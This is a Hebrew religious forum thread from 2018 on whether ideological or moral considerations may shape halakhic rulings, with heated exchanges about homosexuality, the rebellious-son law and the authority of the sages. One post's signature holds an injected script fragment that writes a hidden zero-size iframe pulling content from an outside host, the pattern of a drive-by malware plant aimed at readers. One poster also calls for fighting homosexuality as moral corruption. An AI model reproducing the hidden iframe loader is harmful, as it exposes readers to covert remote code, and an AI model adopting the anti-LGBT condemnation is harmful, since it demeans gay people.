בית פורומים עצור כאן חושבים

שיקולים אידולגיים ומחשבתיים בפסיקת ההלכה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-2/8/2018 05:19 לינק ישיר 
שיקולים אידולגיים ומחשבתיים בפסיקת ההלכה

יש לברר עד כמה ומהו הגבול  שניתן לשלב שיקולים אידאלוגיים ומחשבתיים בפסיקת הלכה .

האם פוסק שבה לפסוק הלכה צריך לבוא מתוך גישה של בירור האמת האלוקיית  כפי שהיא מתגלת בתורה ובדברי החכמים בכל הדורות ללא עירוב של שיקוליים אידאולגיים /חברתיים/ מחשבתיים/הומאניים  

או שפוסק הלכה צריך שיהיה  לו קו מחשבתי אידאולגי , שהוא יהיה מאין מצפן שמכוון אותו בפסיקת ההלכה?

(יכול להיות לפעמים  שבתוך גדרי ההלכה בספק מסויים  יש להתחשב בשיקולים אחרים ולא על כך השאלה אלא האם האידואלגיה מכוונת את פסיקת ההלכה)


האם אין בעייתיות בכך שאתה כביכול מגדיר מטרה  ואח"כ מנסה להתאים לה גדרים הלכתיים ואז אין כאן באמת בירור אמיתי של הדין ?


ישנה דינים כמו התרת עגונות שבהם נראה שמוסכם שיש לנהוג כך שאנחנו מראש רוצים להתיר את העגונה וזו המטרה ולכן אנחנו מחפשים איך מבחינה הלכתית יש להתיר אותה  (ולא חוקרים במחשבה קרה האם לפי ההלכה היא מותרת או לא)


השאלה האם זה באמת היוצא דופן או שבכל פסיקת הלכה יש נטייה אצל הפוסק לפסוק לפי קו מחשבתי שקיים אצלו?


האם שבית הלל ובית שמאי נחלקו , האם בית הלל מראש נטו מבחינה מחשבתית להקל ובית שמאי נטו  מראש מבחינה מחשבתית להחמיר ולכן ממילא אלו הקלו ואלו החמירו

או ששניהם ניסו לברר את האמת ההלכתית  רק לבית הלל יצא בדרך כלל להקל כי שורש נשמתם ממידת החסד ובירור האמת במידת החסד מחייב להקל ,ובית שמאי שורש נשמתם במידת הדין והאמת שיוצאת ממידת הדין מחייבת להחמיר.. כלומר שנטיית הלב היא מציאות נפשית ולא מציאות  בחירית .


הנראה לענ"ד שנטיית הלב הנפשית קיימת בכל פסיקה של פוסק, ככל שהאדם הוא יותר גדול נטיית הלב היא יותר אמיתית והיא עצמה התורה "תורה דילה היא - בתחילה היא נקראת תורת השם ומשלמדה וגרסה היא נקראת תורתו" (קידושין לב,ב ורש"י שם) ומימלא נוצר אצלו בנפש נטיית הלב שהיא עצמה  דעת התורה.

הבעיה מתחילה כאשר יש רצונות חיצוניים כגון  להתאים את התורה לקידמה או למוסר הומאני ואז השיקוליים האלו מטים את ההלכה להקל או במקרים  שיש נטייה לחומורות יתרות שנובעים משיקוליים חיצוניים במקום שאין נכון מהדין להחמיר





דווח על תוכן פוגעני

מחובר
נשלח ב-6/8/2018 21:10 לינק ישיר 

[ת"ט,

לא ראיתי, אבל אני מזקינה והעיניים כבר לא משהו...]



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/8/2018 12:47 לינק ישיר 

אשמ

האם הסוגרים הם מפני שראית שכבר התייחסתי לטענות אלו?



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/8/2018 06:24 לינק ישיר 

[...פרוזבול... עין תחת עין...]



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/8/2018 14:05 לינק ישיר 

אז מה אם ה' יודע שזה המצב הגנטי? לא היה אכפת לו כשם שלא היה אכפת לו להרוג תינוקות במבול.
האם אלוהים ברא עולם מושלם?
 בתקופה ההיא הוא כתב שזה יהיה תועבה ומי שנולד כך שיסבול.
 (אולי בגלל חטאי אבותיו מי יודע איזה סיבות שונות ומשונות )



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 13:44 לינק ישיר 

שינוי מוסרי (בן סורר) זו טענה. שינוי גנטי לא כי ה' יודע שזה המצב הגנטי.




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 12:50 לינק ישיר 

אוקיי גם הבן הסורר והמורה הוא לא בדיוק רק שובב....התורה קבעה שצריך להרוג אותו וחז"ל ביטלו כי זה לא התאים לתקופה. בזמן התורה זה כן התאים לתקופה ולכן כותב התורה לא חשב שזה כל כך נורא להרוג ילד. 
בכל מקרה הטיעון שלך אינו נכון כי לא מדובר בהתנהגות שאינה מצויה אלא בנטיה גנטית  אצל עשרה אחוזים מהאוכלוסיה. רוב העולם עדיין תקוע כי ההומופוביה עדיין חזקה אצל רוב העולם.
מה לעשות? עוילם גוילם.
הרוב לא קובע מה מוסרי.
לחז"ל היה אומץ למחוק לגמרי את עניין בן סורר ומורה על ידי הטלת כל מיני סייגים ובני סייגים .
גם פה אפשר היה לעשות דבר דומה .
אבל איפה האומץ שהיה פעם? הגדוילים של היום הרי משותקים מפחד ולכן כל אחד שואף להחמיר יותר כי החמרה מעלה את ערכו של הגדויל בעיני עצמו ובעיני אחרים.. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 10:56 לינק ישיר 

אפרים
התנהגות שובבה של הבן הסורר



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 10:47 לינק ישיר 

אפריםבן כתב:

מה זה בשביל אלוקים הריגת ילד? הרי הוא הביא מבול על זקנים וילדים נשים ותינוקות ?


כדי להאשים מישהו, צריך לדעת מיהו...



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/8/2018 10:19 לינק ישיר 

מה זה בשביל אלוקים הריגת ילד? הרי הוא הביא מבול על זקנים וילדים נשים ותינוקות ?
ולגבי המינוח שלך "התנהגות שובבה" לפי המחקרים מדובר ברצח נפש. אז תמשיך להשתכשך בבורות שלך.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 10:08 לינק ישיר 

קשה להשוות הריגת ילד על התנהגות שובבה למשהו שבעיני רוב העולם נחשבת התנהגות שאינה מצויה



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 09:12 לינק ישיר 

ת"ט,אלוקים גם ציווה בתורתו להרוג בן סורר ומורה ואת זה חז"ל ביטלו כי זה כבר לא התאים לתקופתם.



דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2018 08:43 לינק ישיר 
תלמידטועה

אפרים
ת"ט לא טען מה ששנת במקלדתו.
הטענה היא שהאלוקים ידע כבר אז את המחקרים אודות נטיות מיניות ובכל זאת אסר זאת קטגורית.
[אם תאמר שמכיון שפרשנות התורה גמישה לפי מושגי הדור הוא חיכה על שנתפתח ונפרש כך תישאל השאלה מדוע התעלל אלפי שנים בהומואים  עד עתה. אולי מאותם שיקולים האיסור נשאר?]

מימוני
נכון שבלה"ר יש נזק לאחרים, אז טול כל מצווה המנוגדת לרצונות ואינה פוגעת באחרים (עריות, פצוע דכא האסור לבוא בקהל, מאכלות אסורות ועוד)

תוקן על ידי תלמידטועה ב- 05/08/2018 08:44:58




דדווח על תוכן פוגעני

מחובר
נשלח ב-4/8/2018 22:24 לינק ישיר 

הקישור :      :http://woland.ph.biu.ac.il/?page_id=146


להקיש על :מקראה לחרדיות בת זמננו

תוקן על ידי אפריםבן ב- 04/08/2018 22:28:19




דדווח על תוכן פוגעני

מחובר
נשלח ב-4/8/2018 22:22 לינק ישיר 

מיימוני כתב:
אפרים

כללי הפורום מרשים ואפילו מעודדים לשאול כל שאלה.

לכן אם יש לך טענה נגד ההשוואה של ת"ט בין להט"ב לבין מי שרוצה באיסור אחר, נניח לשון הרע, וחש שזה "בוער לו", עליך לא להסתפק בטענה שעבורך כנראה היא מספיק טובה, לאמור שזה טפשי.

אני אפילו הצלחתי לזהות בסיס להשוואה: המידה שבה הדבר האסור מעורר רגש עז. אם כל רגש עז מצדיק פעולה בהתאם לרגש, עד היכן נתקדם או ניסוג בהתרים שלנו?

יש כמובן הבדלים. כי חיים חד מיניים אינם פוגעים באחרים, לפחות לא במישרין (דוגמא של התנהגות אסורה בעבר בכל זאת היא משהו מזיק או מערער). לשון הרע פוגעת על ידי דיבור במושא שלה.

תלמיד טועה טעה כי החד מיניות טבועה באדם עם לידתו ולכן הוא לא יכול לשנות אותה גם אם ירצה מאד לעומת לשון הרע שאפשר להימנע עם הרבה כוח רצון..
הבסיס להשוואה שאתה "הצלחת"לזהות אינו נכון כי הוא לא נוגע למהות אלא למשהו צדדי. למשל ילד משווה בין פיל לספה רק בגלל שהצבע שלהם אפור.  הצלחת למצוא בסיס להשוואה אבל זה לא נוגע לעיקר ממש כמו ילד שמשווה על בסיס צבע.

.





בדומה לזה, אפשר להבין את ההשוואה של ירוחמ. להטב"ים נהנים, לפחות בתקשורת, לפחות מהמעט שאני מכיר, ממין חסינות. זה הבסיס לקביעה המופרזת של ירוחמ.


ירוחם כתב שהלה"טבים  מסוכנים ולכן לא ברורה לי תגובתך


אשר לטענתך כלפי, אני מצטט:

הרי לא מתקבל על הדעת 

1. שקרתה התגלות אלוהית חד פעמית ואחריה בני אדם אנושיים שנחשבים לחכמי הדור על ידי אנשים בשר ודם (אפילו שהם למעשה יכולים להיות טיפשי הדור לפי דעת אנשים חכמים אחרים )רשאים להתעסק בתורה כבתוך שלהם  ולבטל מה שנראה להם  לא מתאים (סיפאסט נישט) ולהשאיר מה שנראה לו כן מתאים.
2. כגון בן סורר ומורה לא מתאים אבל חילול שבת כן מתאים .
עיר הנידחת לא מתאים אבל חד מיניות כן מתאים.
עין תחת עין לא מתאים אבל ברית מילה כן מתאים וכו וכו


המספרים הם כמובן משלי כדי להתייחס.

ובכן, לגבי 1, לפי דעתי זה לא רק אפשרי אלא מה שקרה היסטורית. זה מה שטוענת הגמרא שקרה וקורה עד היום הזה.


זה מה שטוענת הגמרא אבל הטענה שלי היא שזה לא הגיוני .כנראה שלא קראת מה שכתבתי


כמובן, זהותם של האחראים היא משתנה מדור לדור, ויש תנאי יסוד כדי להשתייך לרשימה המיוחדת הזו.

זה גם לא מגן עלינו, על עם ישראל, מטועים ואפילו טפשים. הנה, דוגמא שהוזכרה באשכולות של ט' באב: ר' זכריה בן אבקולס. לפי הגרסה הבבלית, הוא סירב להתיר הקרבת קורבן שכשר בדיעבד או לנקוט יד קשה, להרוג את בר קמצא שהיה רודף. ועליו נאמר שענוותנותו הרסה את המקדש.

ובהחלט אפשר לחשוב על דוגמאות נוספות של תפיסות שהן שגויות בעינינו שהיו שייכות לחכמים הממונים על העברת התורה ופרשנותה.

אז זה מה שיש. לעצמי ולאחרים אני מציע להיות תלמיד חכם ואז תוכל, בהתבסס על הידע שלך, להציע פרשנויות חדשות. (אם כי לפי הבבלי יש עדיין מיגבלות שונות באקטיביזם הפרשני).



תלמיד חכם בעיני מי? הרי אלה שקובעים הם חכמים  שנבחרו על ידי חכמים בעיני עצמם . תקרא  קצת על חכמתם כי רבה. (הקישור בהודעה הבאה מהבלוג של נדב שנרב)





2. הזכרת דוגמאות מאד מעניינות.

הרב קוק סבר שאחד מן הדברים שצריכים להשתנות הוא צריכת בשר. על האנושות או למצער עם ישראל לחזור לצמחונות שהיתה, לפי פירוש חז"ל בספר בראשית, נחלתו של אדם הראשון והדרך של בניו עד לנח לאחר המבול.

רבים מאיתנו חשים שקרבנות אינם מדברים אליהם. וזה כבר כמעט לגיטימי להתלונן על כך בקול רם (אם כי אז תולים את הקולר בעצמנו). וראה במאמרו הישן של פרופסור יעקב לוינגר בנושא זה.

האם ניקח את הביקורת הזו גם נגד ברית מילה, שנעשית לרך הנולד בלי לשאול אותו לרצונו, ומורידה חלק מגופו? זו שאלה מעניינת.

וכמובן יש כאלו שמנסים להוציא ברית מילה מחוץ לחוק מכיון שזה יישום של החלטת ההורים עבור הילד. וזה כמובן לא יעלה על הדעת בחברה ליברלית... לפי פרשנויות מסויימות של ליברליזם.

אז זו דוגמא מצויינת. האם תיתכן אי פעם יהדות שתאסור על ברית מילה? כמו שביטלה את בן סורר ומורה?

יש לשים לב שהדין של בן סורר ומורה לא בוטל כמו שהוא מלווה בדרישות שמונעות את יישומו. ובכך, לפי פרשנות שמקובלת גם עלי, חז"ל ניטרלו דין שהאנושות התבגרה מעבר לו.

אפשר לדון בשאלה פחות מאתגרת. נשים מקבלות טיפול רפואי נגד כאבי לידה. וחוץ ממספר קטן של משוגעים לדבר איני סבור שיש מי שיאסור זאת כי בתורה נאמר "בצער תלדי בנים".

ובכל זאת, נדמה שיש קונצנזוס נגד שימוש במשככי כאב מקומיים בזמן הברית לתינוק, האין זאת?

אולי כדאי להתחיל בנקודה הזו ולבדוק אותה?



אתה הולך לדוגמאות .שוב אתה נטפל לעניין צדדי ולא מהותי.
 הנקודה היא לא הדוגמאות המקריות שבחרתי אלא חוסר ההגיון שקיים במעבר מהתגלות אלוהית שאין לערער אחריה לתורה אנושית שנכתבה במשך הדורות על ידי  בני אדם ,בשר ודם,עם נגיעות ועם חולשות ועם גחמות. איך אפשר לסמוך על בני אדם ?


והנה במאתיים השנים האחרונות מי שנבחרו כגדוילים לא משנים כלום  כי הם מפחדים.  וכך הגיעה סופה של המסורת  הלא הגיונית הזאת שהייתה לא הגיונית מההתחלה. 




_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");











תוקן על ידי אפריםבן ב- 04/08/2018 22:32:38




דדווח על תוכן פוגעני

מחובר
נשלח ב-4/8/2018 21:45 לינק ישיר 

לגבי עצם הפסיקה עפ"י אידואלגיה אף שיש דוגמאות שיש לעשות כך כמו ממזרים ועגונות הבעיתוית מתחילה בכך שהופכים את זה לשיטה ואזי כל פסק הלכתי קודם כל בודקים מבחינה אידאולגית ואז מתאימים את הפסק לפי זה … והרבה קילקולים התחילו בכך שלקחו אמיתה מסויימת שנכונה במקרים מסויימים והפכו אותה לשיטה


לגבי  הומאים אני רואה שיש כאן עוד בעיה בנוסף לעיוות הפסיקה כדי להתאים אותה לאידולגיה , והיא עצם האידולגיה שמשכב זכר אין איתה בעיה מוסרית (ומימלא מבחינה ערכית  יש לנסות למצוא התרים לתופעה)

והרי חז"ל ראו בתופעה של משכב זכר כתופעה של קילקול  מוסרי שהיה סיבה למבול ולהפיכת סדום ובכל ספרי החכמים ראו בתופעה זו קילקול מוסרי גדול (ולא כמו שכתב מיימוני  שהוא שריד היסטורי בגלל שחד מיניות היתה קשורה לתופעות אחרות אסורות למשל, בעבודה זרה), ואפילו המוסר האנושי שלא קשור לתורה ראה בתופעה זו קילקול מוסרי ואסר על משכב זכר, ורק בעשרות שנים אחרונות בשטיפת מוח הצליחו לגרום לשנות את הדעה שאין בעיה מוסרית במשכב זכר , והוא כחלק מאידאולגיה כללית רחבה יותר שאיש הישר בעינו יעשה והכל מוסרי כל עוד  אינך מזיק לאחר .


ולכן לא רק שאין לנסות למצוא התרים לתופעה זו אלא יש להלחם בה ככל האפשר כתופעה בלתי מוסרית .


לעצם ההתמודדות של אדם שיש לו נטיה כזו עם הנטייה שלו, ודאי שזה לא דבר פשוט  ושיש עליו רחמנות גדולה ואין הכל שווים בזה שיש מי שעורר את יצרו לזה ויש מי שיצר זה טבוע מתולדתו (ויש היום מחקרים שרוב בני האדם גם אלה שמגדירים עצמם שאינם בעלי נטייה יש להם נטייה ומשיכה  לשני המינים בכח רק שאצל כל אדם זה ביחס שונה ורוב בני האדם לא מוצאים לפעול את הנטייה הזו) וכמו שיש רחמנות גדולה על אדם שיש לו נטייה בטבעו לרצוח או לגנוב או כמו שיש רחמנות על אדם שיש בו מום גופני שהוא נכה או אילם  , ולכן גם אם אדם נכשל בעון זה אין לפסול אותו כמו כל אדם שחטא וכל אדם עם ההתמודדות שלו, אבל זה שיש רחמנות ואמפטיה כלפי אדם כזה לא אמורה לגרום להתיר קילקול מוסרי בגלל זה.





דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > שיקולים אידולגיים ומחשבתיים בפסיקת ההלכה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext